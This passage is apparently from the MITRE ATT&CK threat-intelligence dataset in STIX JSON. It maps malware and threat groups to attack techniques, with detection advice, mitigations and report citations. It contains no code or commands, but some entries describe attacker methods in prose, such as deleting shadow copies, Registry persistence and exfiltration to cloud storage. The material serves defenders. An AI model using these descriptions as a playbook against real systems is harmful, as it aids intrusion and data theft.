2021)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--44446a21-affe-4935-ba17-94e4cb521a25","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for changes made to Windows Registry keys and/or values that may forge credential materials that can be used to gain access to web applications or Internet services.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec0ea37c-cb59-4138-ac0a-ad401b37d5fe","type":"relationship","created":"2021-11-12T19:30:36.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2022-03-09T18:35:37.123Z","description":"[Diavol](https://attack.mitre.org/software/S0659) can delete shadow copies using the `IVssBackupComponents` COM object to call the `DeleteSnapshots` method.(Citation: Fortinet Diavol July 2021)","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--25022051-be2f-4cc2-b61a-3de03fc3e8d6","type":"relationship","created":"2020-11-16T20:36:49.663Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. 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(2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. 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Retrieved December 11, 2020."}],"modified":"2020-12-11T15:45:50.921Z","description":"(Citation: Talos Cobalt Group July 2018)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c6b51e0c-d6a8-4815-b1fe-fb065ac0bcaa","type":"relationship","created":"2020-12-11T17:03:43.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). 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Retrieved August 19, 2021."}],"modified":"2021-10-15T16:57:22.409Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has searched for specific files prior to encryption.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40527571-0b01-4568-b72b-568ad8b419ae","type":"relationship","created":"2021-03-19T12:52:09.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. 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This is most likely meant to be a mechanism to update the compromised host with a new version of the [LOWBALL](https://attack.mitre.org/software/S0042) malware.(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf61da0b-036b-4e51-894f-71a73689cff4","type":"relationship","created":"2020-12-01T13:59:23.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. 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(2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022."}],"modified":"2022-03-07T19:43:49.780Z","description":"Use application control where appropriate. VBA macros obtained from the Internet, based on the file's Mark of the Web (MOTW) attribute, may be blocked from executing in Office applications (ex: Access, Excel, PowerPoint, Visio, and Word) by default starting in Windows Version 2203.(Citation: Default VBS macros Blocking )","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b72be1af-b4d0-4607-8f97-377d23ddbb36","type":"relationship","created":"2020-09-08T15:30:29.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne FrameworkPOS September 2019","url":"https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/","description":"Kremez, V. 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Retrieved July 14, 2020."}],"modified":"2020-07-15T20:10:03.890Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has used obfuscated VBA string expressions.(Citation: Juniper IcedID June 2020)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9cd513e-c863-4695-a6e0-b2e4e79c24e8","type":"relationship","created":"2020-12-17T17:23:08.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-17T17:23:08.124Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can achieve persistence by modifying Registry key entries.(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d94276b-c902-4d7c-ae10-d13e127e5149","type":"relationship","created":"2019-04-12T15:20:35.931Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT38 Oct 2018","url":"https://content.fireeye.com/apt/rpt-apt38","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}],"modified":"2019-09-09T19:10:53.529Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK to manipulate SWIFT messages en route to a printer.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7cd00d93-860b-4138-98fc-162cb56a78dd","type":"relationship","created":"2020-03-13T11:12:18.760Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-13T11:12:18.760Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--70d81154-b187-45f9-8ec5-295d01255979","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dd582e36-081c-4bc7-ab2a-cc859c7930bc","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor newly executed processes that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ee67749-9979-4490-b984-1aa962326109","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for newly executed processes of binaries involved in shutting down or rebooting systems.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d490bb02-7dfc-4808-8109-29a3871f830a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-17T00:43:32.004Z","description":"[Comnie](https://attack.mitre.org/software/S0244) achieves persistence by adding a shortcut of itself to the startup path in the Registry.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a88332d2-d03f-4139-b11c-19e82459189b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:56.027Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the system by running <code>hostname</code> and <code>systeminfo</code> on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--59b39f06-a71c-42f7-92f2-244a183113d6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. 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Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","source_name":"ClearSky Wilted Tulip July 2017"}],"modified":"2019-05-03T16:42:19.225Z","description":"[CopyKittens](https://attack.mitre.org/groups/G0052) digitally signed an executable with a stolen certificate from legitimate company AI Squared.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0df8e968-716a-4de9-9669-862af62d6eb6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). 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Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2019-04-25T02:48:47.517Z","description":"[SslMM](https://attack.mitre.org/software/S0058) sends the logged-on username to its hard-coded C2.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4a1336e8-9abb-4217-8a90-78ce55325aaa","type":"relationship","created":"2021-07-27T14:13:08.194Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. 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Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware","source_name":"Proofpoint TA505 Mar 2018"},{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group’s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. 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Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. 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Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--081c68ae-de26-4ab4-9108-5c7493f34f43","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html","description":"Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. 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Retrieved May 11, 2021."}],"modified":"2021-10-14T20:28:09.822Z","description":"(Citation: Unit42 Clop April 2021)(Citation: Cybereason Clop Dec 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b3274fe-1960-4d1e-91d1-2091e467c45b","type":"relationship","created":"2019-09-24T12:59:58.536Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 Aug 2019","url":"https://content.fireeye.com/apt-41/rpt-apt41","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019."}],"modified":"2019-09-24T12:59:58.536Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can capture screenshots.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bef3018a-1a38-4d1f-83ae-094f6c18f2a4","type":"relationship","created":"2019-06-13T16:53:10.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-04-27T19:56:54.579Z","description":"\nClose out all browser sessions when finished using them to prevent any potentially malicious extensions from continuing to run.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4e1a2f47-7aad-4402-884d-8921a6a88822","type":"relationship","created":"2019-07-19T16:49:44.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Soft Cell June 2019","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","description":"Cybereason Nocturnus. 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Retrieved April 22, 2019.","url":"https://twitter.com/ItsReallyNick/status/1055321868641689600","source_name":"Twitter ItsReallyNick Platinum Masquerade"}],"modified":"2021-04-22T00:39:49.797Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has renamed rar.exe to avoid detection.(Citation: Twitter ItsReallyNick Platinum Masquerade)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f368f221-bcd5-400d-b350-83173de26423","type":"relationship","created":"2019-05-02T00:08:18.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. 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Retrieved October 10, 2018.","source_name":"Proofpoint Cobalt June 2017"},{"url":"https://www.riskiq.com/blog/labs/cobalt-strike/","description":"Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.","source_name":"RiskIQ Cobalt Nov 2017"},{"url":"https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/","description":"Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.","source_name":"RiskIQ Cobalt Jan 2018"},{"url":"https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report","description":"CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.","source_name":"Crowdstrike Global Threat Report Feb 2018"},{"description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/","source_name":"TrendMicro Cobalt Group Nov 2017"}],"modified":"2019-07-26T23:38:33.949Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) had exploited multiple vulnerabilities for execution, including Microsoft’s Equation Editor (CVE-2017-11882), an Internet Explorer vulnerability (CVE-2018-8174), CVE-2017-8570, CVE-2017-0199, and CVE-2017-8759.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018)(Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: TrendMicro Cobalt Group Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc2b10e6-8bf5-42b1-b91b-c179ab73bf3f","type":"relationship","created":"2020-11-18T17:17:06.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FoxIT Wocao December 2019","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020."}],"modified":"2022-03-25T13:18:55.091Z","description":"[Operation Wocao](https://attack.mitre.org/groups/G0116) has used scheduled tasks to execute malicious PowerShell code on remote systems.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d17fcc24-a9ae-4841-b35b-f694b3991fba","type":"relationship","created":"2021-01-22T13:35:37.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Chimera January 2021","url":"https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}],"modified":"2021-01-22T13:35:37.195Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has exfiltrated stolen data to OneDrive accounts.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cb35f782-6fb4-4a0c-b549-8af99dbc57fd","type":"relationship","created":"2017-05-31T21:33:27.027Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-30T19:57:16.524Z","relationship_type":"mitigates","source_ref":"course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d","target_ref":"attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b42354ae-384d-4885-96a0-1594ed6dd427","type":"relationship","created":"2021-10-11T18:53:48.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T18:53:48.792Z","description":"[Bandook](https://attack.mitre.org/software/S0234) can collect information about the drives available on the system.(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e24d0cf-dc61-4894-b2fa-0f8f96650c41","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a81c971e-732c-4e76-99ad-c7108642dd47","type":"relationship","created":"2019-01-30T15:27:06.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","source_name":"Mandiant APT1 Appendix"}],"modified":"2019-02-12T21:28:19.615Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) is capable of installing itself as a service.(Citation: Mandiant APT1 